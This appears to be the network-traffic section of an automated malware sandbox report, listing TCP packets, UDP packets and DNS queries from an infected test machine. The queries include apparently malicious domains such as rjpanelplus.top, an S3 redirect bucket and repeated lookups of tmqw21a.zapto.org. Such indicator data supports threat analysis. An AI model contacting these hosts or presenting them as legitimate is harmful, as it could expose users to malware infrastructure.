                                                                                                              Nov 27, 2024 16:54:10.739001989 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.745347023 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.745362997 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.745445013 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.745450974 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.745507956 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.752026081 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.752042055 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.752125978 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.752135992 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.752188921 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.758337975 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.758354902 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.758431911 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.758439064 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.758490086 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.765007019 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.765023947 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.765110016 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.765117884 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.765166998 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.923918962 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.923948050 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.924038887 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.924057961 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.924105883 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.929559946 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.929577112 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.929644108 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.929650068 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.929694891 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.936151028 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.936168909 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.936239958 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.936244965 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.936288118 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.941932917 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.941948891 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.942025900 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.942032099 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.942076921 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.948555946 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.948570967 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.948648930 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.948656082 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.948704004 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.955233097 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.955250025 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.955336094 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.955344915 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.955394983 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.961862087 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.961879015 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.961975098 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.961982965 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.962037086 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.968492031 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.968508959 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.968612909 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.968620062 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.968668938 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.125641108 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.125664949 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.125755072 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.125782013 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.125825882 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.131114960 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.131133080 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.131196976 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.131203890 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.131247997 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.137697935 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.137712002 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.137789011 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.137794018 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.137840033 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.143531084 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.143548965 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.143642902 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.143649101 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.143692970 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.150526047 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.150542974 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.150610924 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.150618076 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.150661945 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.156822920 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.156841040 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.156909943 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.156917095 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.156946898 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.156968117 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.163535118 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.163551092 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.163630962 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.163640022 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.163681984 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.169765949 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.169790983 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.169853926 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.169862986 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.169904947 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.327620029 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.327647924 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.327903032 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.327928066 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.327980042 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334393024 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.334414959 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.334516048 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334532022 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.334573030 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334673882 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.334716082 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334719896 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.334757090 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334759951 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.334800005 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334944963 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334959030 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:11.334975004 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.334996939 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:11.391252995 CET4968080192.168.2.16192.229.211.108
                                                                                                              Nov 27, 2024 16:54:31.527496099 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:31.527539015 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:31.527646065 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:31.528053045 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:31.528065920 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:33.319756031 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:33.319843054 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:33.321329117 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:33.321341991 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:33.321571112 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:33.323075056 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:33.367336035 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.034389973 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.034423113 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.034445047 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.034499884 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.034524918 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.034539938 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.034565926 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.072283983 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.072350979 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.072436094 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.072458029 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.072484016 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.072515965 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.072563887 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.072597980 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.072613955 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:34.072632074 CET49726443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:54:34.072638035 CET443497264.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:54:37.110264063 CET4970080192.168.2.16199.232.214.172
                                                                                                              Nov 27, 2024 16:54:37.110379934 CET4970280192.168.2.16199.232.214.172
                                                                                                              Nov 27, 2024 16:54:37.234144926 CET8049700199.232.214.172192.168.2.16
                                                                                                              Nov 27, 2024 16:54:37.234232903 CET4970080192.168.2.16199.232.214.172
                                                                                                              Nov 27, 2024 16:54:37.234564066 CET8049702199.232.214.172192.168.2.16
                                                                                                              Nov 27, 2024 16:54:37.234611988 CET4970280192.168.2.16199.232.214.172
                                                                                                              Nov 27, 2024 16:54:47.100205898 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:47.100239038 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:47.996315002 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:47.996372938 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:47.996475935 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:47.996725082 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:47.996737957 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:49.787250042 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:49.787650108 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:49.787678957 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:49.787988901 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:49.788291931 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:49.788372040 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:49.834043026 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:59.475568056 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:59.475636005 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:59.475876093 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:55:01.370832920 CET49728443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:55:01.370861053 CET44349728142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:55:03.368803024 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:55:03.368951082 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:55:03.369085073 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:55:20.727240086 CET4969980192.168.2.16192.229.221.95
                                                                                                              Nov 27, 2024 16:55:20.731319904 CET49697443192.168.2.1620.190.177.21
                                                                                                              Nov 27, 2024 16:55:20.847959995 CET8049699192.229.221.95192.168.2.16
                                                                                                              Nov 27, 2024 16:55:20.848150015 CET4969980192.168.2.16192.229.221.95
                                                                                                              Nov 27, 2024 16:55:20.852188110 CET4434969720.190.177.21192.168.2.16
                                                                                                              Nov 27, 2024 16:55:20.852313995 CET49697443192.168.2.1620.190.177.21
                                                                                                              Nov 27, 2024 16:55:25.556272984 CET49701443192.168.2.1620.190.177.21
                                                                                                              Nov 27, 2024 16:55:25.678247929 CET4434970120.190.177.21192.168.2.16
                                                                                                              Nov 27, 2024 16:55:25.678469896 CET49701443192.168.2.1620.190.177.21
                                                                                                              Nov 27, 2024 16:55:48.049823046 CET49730443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:55:48.049892902 CET44349730142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:55:48.049988031 CET49730443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:55:48.050246000 CET49730443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:55:48.050261021 CET44349730142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:55:49.762180090 CET44349730142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:55:49.762501955 CET49730443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:55:49.762530088 CET44349730142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:55:49.762871027 CET44349730142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:55:49.763175964 CET49730443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:55:49.763236046 CET44349730142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:55:49.806849003 CET49730443192.168.2.16142.250.181.68

                                                                                                              UDP Packets

                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                              Nov 27, 2024 16:53:43.279337883 CET53576411.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:43.359502077 CET53604331.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:44.053987980 CET6032053192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:44.054236889 CET5339553192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET53603201.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:44.372081995 CET53533951.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:46.069978952 CET53544321.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:47.547455072 CET6550053192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:47.547688007 CET6096553192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:47.934509039 CET4933753192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:47.934864044 CET5574753192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:48.075396061 CET53493371.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:48.075656891 CET53557471.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:48.099301100 CET53655001.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:48.102153063 CET53609651.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:50.010879040 CET5512253192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:50.011068106 CET6242253192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:51.029668093 CET5384853192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:51.029870987 CET4954653192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:51.176981926 CET53624221.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:51.177002907 CET53495461.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:51.178569078 CET53551221.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:51.179115057 CET53538481.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.136482954 CET5563053192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:56.136667013 CET5521753192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:56.273911953 CET53556301.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.275566101 CET53552171.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.350716114 CET6156553192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:59.350935936 CET5751453192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:59.353255987 CET6344353192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:59.353420973 CET5218953192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:53:59.494441032 CET53634431.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.495172977 CET53521891.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.084342957 CET53575141.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.085165977 CET53615651.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.015367985 CET53560751.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:21.419215918 CET6348253192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:54:21.647598028 CET53634821.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:22.056972980 CET53631591.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:27.779694080 CET5097553192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:54:27.918138981 CET53509751.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:32.737977982 CET4962153192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:54:32.876120090 CET53496211.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:41.115330935 CET5578953192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:54:41.254260063 CET53557891.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:43.244570017 CET53616231.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:44.150759935 CET138138192.168.2.16192.168.2.255
                                                                                                              Nov 27, 2024 16:54:44.780339003 CET53559691.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:54:53.697462082 CET5176453192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:54:53.839473009 CET53517641.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:55:13.147459030 CET5932253192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:55:13.285543919 CET53593221.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:55:13.805108070 CET53644121.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:55:28.768722057 CET6074053192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:55:29.003988981 CET53607401.1.1.1192.168.2.16
                                                                                                              Nov 27, 2024 16:55:40.225512028 CET5014053192.168.2.161.1.1.1
                                                                                                              Nov 27, 2024 16:55:40.378705025 CET53501401.1.1.1192.168.2.16

                                                                                                              DNS Queries

                                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                              Nov 27, 2024 16:53:44.053987980 CET192.168.2.161.1.1.10x91ecStandard query (0)cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.comA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.054236889 CET192.168.2.161.1.1.10xc51aStandard query (0)cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:47.547455072 CET192.168.2.161.1.1.10xfee7Standard query (0)silvervalleyrealestategh.comA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:47.547688007 CET192.168.2.161.1.1.10xcb01Standard query (0)silvervalleyrealestategh.com65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:47.934509039 CET192.168.2.161.1.1.10xf7a2Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:47.934864044 CET192.168.2.161.1.1.10xcfb7Standard query (0)www.google.com65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:50.010879040 CET192.168.2.161.1.1.10xe975Standard query (0)electroagrotech.com.uaA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:50.011068106 CET192.168.2.161.1.1.10xdf8dStandard query (0)electroagrotech.com.ua65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:51.029668093 CET192.168.2.161.1.1.10xaa42Standard query (0)electroagrotech.com.uaA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:51.029870987 CET192.168.2.161.1.1.10x13a3Standard query (0)electroagrotech.com.ua65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:56.136482954 CET192.168.2.161.1.1.10xaecbStandard query (0)ci3.googleusercontent.comA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:56.136667013 CET192.168.2.161.1.1.10xb066Standard query (0)ci3.googleusercontent.com65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:59.350716114 CET192.168.2.161.1.1.10xf2aeStandard query (0)rjpanelplus.topA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:59.350935936 CET192.168.2.161.1.1.10x3e01Standard query (0)rjpanelplus.top65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:59.353255987 CET192.168.2.161.1.1.10xee03Standard query (0)ci3.googleusercontent.comA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:59.353420973 CET192.168.2.161.1.1.10x9364Standard query (0)ci3.googleusercontent.com65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:54:21.419215918 CET192.168.2.161.1.1.10x8487Standard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:54:27.779694080 CET192.168.2.161.1.1.10x3dfcStandard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:54:32.737977982 CET192.168.2.161.1.1.10xc759Standard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:54:41.115330935 CET192.168.2.161.1.1.10xa86eStandard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:54:53.697462082 CET192.168.2.161.1.1.10x19a7Standard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:55:13.147459030 CET192.168.2.161.1.1.10xc1d5Standard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:55:28.768722057 CET192.168.2.161.1.1.10x40f1Standard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:55:40.225512028 CET192.168.2.161.1.1.10x9ab4Standard query (0)tmqw21a.zapto.orgA (IP address)IN (0x0001)false

                                                                                                              DNS Answers

                                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.coms3-r-w.eu-central-1.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com3.5.139.117A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com3.5.139.125A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com3.5.139.14A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com52.219.75.116A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com3.5.137.185A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com3.5.138.61A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com3.5.138.52A (IP address)IN (0x0001)false
